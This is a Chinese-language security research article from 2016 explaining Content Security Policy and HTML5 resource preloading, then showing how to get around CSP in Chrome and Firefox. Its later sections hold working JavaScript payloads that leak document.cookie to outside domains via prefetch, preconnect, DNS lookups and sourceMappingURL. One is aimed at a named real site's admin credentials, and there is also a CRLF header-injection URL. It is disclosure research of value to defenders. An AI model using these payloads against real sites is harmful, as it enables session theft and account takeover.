[+] Author: evi1m0
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2016-10-27
0x01 CSP 介紹
CSP[0] 是由單詞 Content Security Policy 的首單詞組成,CSP旨在減少 (注意這里是減少而不是消滅) 跨站腳本攻擊。CSP是一種由開發者定義的安全性政策性申明,通過 CSP 所約束的的規責指定可信的內容來源(這里的內容可以指腳本、圖片、iframe、fton、style等等可能的遠程的資源)。通過CSP協定,讓WEB處于一個安全的運行環境中,目前 CSP 已經到了 3.0 階段。
現代瀏覽器目前都可以通過獲取 Header 頭來進行 CSP 配置,E.g php Set Header:
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' server.n0tr00t.com;");
Content Security Policy 1.0 各瀏覽大致支持情況表格:

Content Security Policy 1.0 各瀏覽具體支持情況圖[1]:

指令參考:
指令 說明
default-src 定義資源默認加載策略
connect-src 定義 Ajax、WebSocket 等加載策略
font-src 定義 Font 加載策略
frame-src 定義 Frame 加載策略
img-src 定義圖片加載策略
media-src 定義 <audio>、<video> 等引用資源加載策略
object-src 定義 <applet>、<embed>、<object> 等引用資源加載策略
script-src 定義 JS 加載策略
style-src 定義 CSS 加載策略
sandbox 值為 allow-forms,對資源啟用 sandbox
report-uri 值為 /report-uri,提交日志
Source List Reference[2]:

0x02 規則示例
注:
- 多個指令用分號進行分割;
- 多個指令值使用英文空格分割;
- 指令值在非域名時左右須使用引號包含;
- 指令重復的話將以第一個為準;
1.定義所有類型資源為默認加載策略,允許執行加載 自身及 test.n0tr00t.com 的 JS 資源:
Content-Security-Policy: "default-src 'self'; script-src 'self' test.n0tr00t.com"
X-Content-Security-Policy: "default-src 'self'; script-src 'self' test.n0tr00t.com"
X-WebKit-CSP: "default-src 'self'; script-src 'self' test.n0tr00t.com"
2.禁止 frame ,允許所有圖像,Style Self,允許執行加載所有 n0tr00t.com 域下的 JS 資源:
Content-Security-Policy: "script-src *.n0tr00t.com; style-src 'self'; img-src *; frame-src 'none'"
X-Content-Security-Policy: "script-src *.n0tr00t.com; style-src 'self'; img-src *; frame-src 'none'"
X-WebKit-CSP: "script-src *.n0tr00t.com; style-src 'self'; img-src *; frame-src 'none'"
3.Content-Security-Policy-Report-Only 收集日志報告:
Content-Security-Policy-Report-Only: script-src 'self'; report-uri http://linux.im/test/csp/report
LogResult:
{
"csp-report": {
"document-uri": "http://linux.im/csp.php",
"referrer": "test ref",
"violated-directive": "script-src 'self'",
"original-policy": "script-src 'self'; report-uri http://linux.im/test/csp/report",
"blocked-uri": ""
}
}
4.允許執行內聯 JS 代碼,但不允許加載外部資源:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
另外我們也可以使用在線生成 CSP 規則的站點來輔助編寫:http://cspisawesome.com/
0x03 預加載
在 HTML5 中的一個新特性:頁面資源預加載(Link prefetch)[3],他是瀏覽器提供的一個技巧,目的是讓瀏覽器在空閑時間下載或預讀取一些文檔資源,用戶在將來將會訪問這些資源。一個Web頁面可以對瀏覽器設置一系列的預加載指示,當瀏覽器加載完當前頁面后,它會在后臺靜悄悄的加載指定的文檔,并把它們存儲在緩存里。當用戶訪問到這些預加載的文檔后,瀏覽器能快速的從緩存里提取給用戶。
這種做法曾經被稱為 Prebrowsing ,可以細分為幾個不同的技術:DNS-prefetch、subresource 和標準的 prefetch、preconnect、prerender ,并不是像很多人想象的那樣,只有 Chrome 才支持預加載,目前絕大多數的瀏覽器都已支持。

HTML5 頁面資源預加載/預讀取(Link prefetch)功能是通過Link標記實現的,將 rel 屬性指定為 prefetch ,在 href 屬性里指定要加載資源的地址即可。例如:
Chrome, Firefox :
<link rel="prefetch" href="http://linux.im/test_prefetch.jpg">
Chrome 預渲染(不要濫用!對地址所有資源進行提前渲染,如未使用的話則會白白浪費渲染資源。):
<link rel="prerender" href="http://linux.im">
DNS 預解析 DNS-Prefetch ,瀏覽器空閑時提前將分析頁面需要資源所在的域名轉化為 IP 地址,當瀏覽器真正使用到該域中的某個資源時就可以盡快地完成 DNS 解析。(例如在地址欄中輸入 URL 時,Chrome 就已經自動完成了預解析甚至渲染,從而為每個請求節省了大量的時間。):
<link rel="dns-prefetch" href="http://linux.im">
預連接 Preconnect (支持 Chrome46+, Firefox39+),與 DNS 預解析類似,preconnect 不僅完成 DNS 預解析,同時還將進行 TCP 握手和建立傳輸層協議:
<link rel="preconnect" href="http://1.111asd1-testcsp.n0tr00t.com">
對特定文件類型進行預加載, Chromium 使用 subresource rel 的話,優先級將低于樣式文件和腳本文件,但不低于圖片加載優先級,在最新版本中已經 Remove[4] 這個屬性,使用新的 "preload" [5] 代替:
<link rel='subresource' href='warning.js'>
Preload 作為一個新的 WEB 標準,它為處理當前頁面而生,和 subresource 一樣,但又有著一些區別,例如 onload 事件, as 屬性等等:
<link rel="preload" href="//linux.im/styles/other.css">
在 Firefox 中我們也可以通過設置 Header 頭 X-moz: prefetch 來進行 prefetch,可能有些人希望能夠禁用掉這個預加載,可以在 FF 瀏覽器的 about:config 中 user_pref("network.prefetch-next", false); 禁用掉對所有站點的預加載支持。
如何設置預加載的順序?在 W3c Resource Priorities [6] 增加了兩個重要資源屬性:lazyload 和 postpone 。
- lazyload 懶加載: 一個資源必須等待其他沒有標識lazyload的開始下載以后才能下載;
- postpone 延緩: 一個資源直到要顯示給用戶時才可以下載。適合圖片 視頻等元素;
不是所有的資源都可以預加載,當資源為以下列表中的資源時,將阻止預渲染操作:
- 彈窗頁面
- 含惡意軟件的頁面
- URL 中包含下載資源
- 頁面中包含音頻、視頻
- POST、PUT 和 DELETE 操作的 ajax 請求
- HTTP 認證(Authentication) / HTTPS 頁面
- 正在運行 Chrome developer tools 開發工具
0x04 Bypass Chrome CSP
在 Chrome 中,CSP 的規范執行是較低于 Firefox 的(0x05會提到),我們來看下面這條規則:
Content-Security-Policy: default-src 'self'; script-src 'self' test.n0tr00t.com 'unsafe-inline';
默認同源下的資源加載,允許內部標簽執行但只能數據傳輸給同源和 test.n0tr00t.com 域下,一般情況下我們可以通過入侵 test.n0tr00t.com 域名來將信息傳輸出去,除此之外,如果是交互性較強的平臺,我們也可以不將數據對外傳輸,例如:http://linux.im/2015/09/20/Dotabuff-Worm.html
由于 inline 的存在,我們可以內嵌代碼到頁面中對社區進行蠕蟲等操作,但由于開始提到 Chrome CSP 中的規范執行是較低于 Firefox 的,所以我們可以使用前面提到的多個屬性來進行繞過獲取信息。
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//n0tr00t.com/?" + document.cookie);
document.head.appendChild(n0t);
頁面渲染完畢會創建 Link REL=prefetch 的標簽,發目標頁面發起預加載,我們也可以使用其他屬性(2016.02 Fuzz 部分結果):
- Prefetch
- Prerender
- Preload
- …
E.g SourceCode :
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");
?>
<html>
<head></head>
<body>
csp header test
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//1J38ax.chromecsptest.test.n0tr00t.com/?" + document.cookie);
document.head.appendChild(n0t);
</script>
</body>
</html>
PageRequestResult :

0x05 Bypass Firefox CSP
如果我們使用前面的 Prefetch 等標簽在 Firefox 上是肯定傳輸不出去數據的,因為 Firefox 瀏覽器有著較高的 CSP 規范執行,所以我們可以使用其他屬性來對 Firefox 上 CSP 進行繞過,雖然這些屬性也已經申請加入規范,但目前仍可利用,下面來看目前 src.ly.com 的 CSP 規則:
content-security-policy:
default-src *; script-src 'self' bi-collector.oneapm.com *.ly.com # sec-pic-ly.b0.upaiyun.com img1.40017.cn captcha.guard.qcloud.com 'unsafe-inline' 'unsafe-eval'; style-src 'self' *.ly.com sec-pic-ly.b0.upaiyun.com *.guard.qcloud.com 'unsafe-inline'; img-src 'self' sec-pic-ly.b0.upaiyun.com # https://static.wooyun.org http://static.wooyun.org *.guard.qcloud.com data: ; media-src 'self' *.ly.com *.40017.cn;font-src 'self' sec-pic-ly.b0.upaiyun.com data:
- script-src 'self' bi-collector.oneapm.com *.ly.com # sec-pic-ly.b0.upaiyun.com img1.40017.cn captcha.guard.qcloud.com 'unsafe-inline' 'unsafe-eval';
- style-src 'self' .ly.com sec-pic-ly.b0.upaiyun.com .guard.qcloud.com 'unsafe-inline';
- img-src 'self' sec-pic-ly.b0.upaiyun.com # https://static.wooyun.org http://static.wooyun.org *.guard.qcloud.com data: ;
- media-src 'self' .ly.com .40017.cn;
- font-src 'self' sec-pic-ly.b0.upaiyun.com data:;
我們的目標是 src.ly.com 的管理員登錄憑證,通過細看上面的 CSP 規則我們可以發現存在很多問題,例如 *.40017.cn, unsafe-inline, unsafe-eval, static.wooyun.org 等多個不可控的”信任“外部源。現在我們擁有平臺存儲型跨站,但由于沒有像之前 Dota 社區的用戶交互性(我們的目的也不是蠕蟲),當然你可以通過獲取 Document.cookie 并使用站內私信功能發送給你,然后達到目標,只不過聽起來不是那么可靠。
script 的規則滿足我們的條件,我們可以使用多個方法來繞過限制創建標簽偷取數據:
- Preconnect
- DNS-Prefetch
- …
Payload:
dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".vqn3j8.ceye.io\">";
}
收取獲得 DNS 查詢記錄:

0x06 END
還有一些偽繞過的 CASE,例如 CRLF (回車 + 換行 \r\n 的簡稱,在HTTP協議中,HTTP Header 與 HTTP Body 是用兩個 CRLF 分隔的,瀏覽器就是根據這兩個 CRLF 來取出 HTTP 內容并顯示出來。),因為大部分瀏覽器是根據最后一次出現的同名頭來設置的。
E.g:
http://www.n0tr00t.com/%0d%0aSet-cookie:ID%3Dabcdefg
整篇文章寫到并列出的一些 CASE 是我今年初(16) Fuzz 到的,前兩天 Patrick Vananti 把 DNS 預解析的發出后,便想把之前的筆記進行簡單整理并公布,其中還有一些未列出的屬性和方法,歡迎研究:)
0x07 文獻參考
- [0] : https://w3c.github.io/webappsec-csp/
- [1] : http://caniuse.com/#feat=contentsecuritypolicy
- [2] : https://content-security-policy.com/
- [3] : https://developer.mozilla.org/en-US/docs/Web/HTTP/Link_prefetching_FAQ
- [4] : https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/Y_2eFRh9BOs/gULYapoRBwAJ
- [5] : https://w3c.github.io/preload/
- [6] : https://w3c.github.io/web-performance/specs/ResourcePriorities/Overview.html
- [7] : http://bubkoo.com/2015/11/19/prefetching-preloading-prebrowsing/
- [8] : http://www.cnblogs.com/suyuwen1/p/5506397.html
- [9] : http://blog.shaochuancs.com/w3c-html5-link/
10.28Update
(利用 sourcemap [firefox, chrome]):【document.write(<script>//# sourceMappingURL=https://request/?${escape(document.cookie)}</script>)】via 長短短
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/91/
暫無評論